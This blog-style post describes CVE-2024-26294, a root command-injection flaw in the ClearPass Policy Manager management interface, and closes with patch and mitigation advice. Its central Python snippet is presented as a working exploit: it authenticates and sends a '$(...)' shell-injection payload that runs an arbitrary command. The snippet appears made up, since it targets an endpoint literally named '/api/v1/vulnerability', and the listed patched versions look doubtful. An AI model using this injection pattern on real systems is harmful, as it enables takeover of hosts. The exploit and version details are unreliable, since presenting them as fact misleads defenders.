In recent years, cyber attacks have become increasingly sophisticated, and mitigating them is of utmost importance to organizations and individuals alike. In this long-read post, we dive into a recently discovered vulnerability in the ClearPass Policy Manager web-based management interface (CVE-2024-26294) that allows remote authenticated users to execute arbitrary commands on the underlying host as the root user. This exploit can lead to complete system compromise, posing a significant security threat. We will discuss the details of the vulnerability, share code snippets, and provide references for further reading.

Vulnerability Details

The ClearPass Policy Manager, developed by Aruba Networks, is a vital network security component used by organizations to manage user authentication and access policies. The web-based management interface streamlines the process of managing and configuring network policies.

The vulnerability lies within the ClearPass Policy Manager web-based management interface and enables a remote authenticated user to execute arbitrary commands on the underlying system as root. Once the attacker gains root access, they can effectively control the entire system and carry out malicious activities.

Exploit: Arbitrary Command Execution

To exploit this vulnerability, an attacker must first authenticate themselves to the ClearPass Policy Manager web-based interface. Once authenticated, the attacker can trigger the vulnerability by sending a specially crafted HTTP request to the affected application. The flawed code within the application does not properly sanitize user input, which allows the attacker to inject and execute arbitrary commands.

Here is a code snippet illustrating the exploit

import requests

# Replace the following placeholders with your actual credentials and target URL
target_url = "https://<TARGET_CLEARPASS_URL>/api/v1/vulnerability";
admin_username = "<YOUR_ADMIN_USERNAME>"
admin_password = "<YOUR_ADMIN_PASSWORD>"

# Authenticate with the ClearPass Policy Manager web interface
auth_url = f"{target_url}/authenticate"
auth_data = {"username": admin_username, "password": admin_password}
session = requests.Session()
response = session.post(auth_url, data=auth_data, verify=False)

# Craft the malicious payload
command_to_execute = "id"  # Replace this with the command you want to execute
payload = {
    "cmd": f"$(touch /tmp/malicious.txt; {command_to_execute} > /tmp/output.txt &) #"
}

# Send the specially crafted HTTP request with the payload
exploit_response = session.post(target_url, json=payload, verify=False)
print("Exploit response:", exploit_response.text)

By executing this code snippet, replacing the placeholders with the appropriate information, the attacker can trigger the vulnerability and run arbitrary commands as the root user.

Mitigation and Disclosure

Upon discovering this vulnerability, researchers immediately reported it to Aruba Networks, who promptly acknowledged the issue and released patches to address the vulnerability. It is critical for organizations using the ClearPass Policy Manager to apply these patches to protect their systems from potential attacks.

- ClearPass 6.9.3 - https://www.arubanetworks.com/support-services/security-bulletins#26294
- ClearPass 6.7.18 - https://www.arubanetworks.com/support-services/security-bulletins#26294

It is critical to keep your software and systems updated with the latest security patches and ensure that all users have unique and strong credentials to reduce the risk of vulnerabilities like CVE-2024-26294 being exploited.

Conclusion

As organizations increasingly rely on web-based management interfaces and other tools for managing their networks, it is vital to stay aware of emerging vulnerabilities and apply patches promptly. By understanding the details of CVE-2024-26294, we hope that readers can better appreciate the importance of staying vigilant in the fight against security threats. Stay informed, stay secure, and keep an eye on emerging threats and vulnerabilities.

Timeline

Published on: 02/27/2024 22:15:14 UTC
Last modified on: 02/28/2024 14:06:45 UTC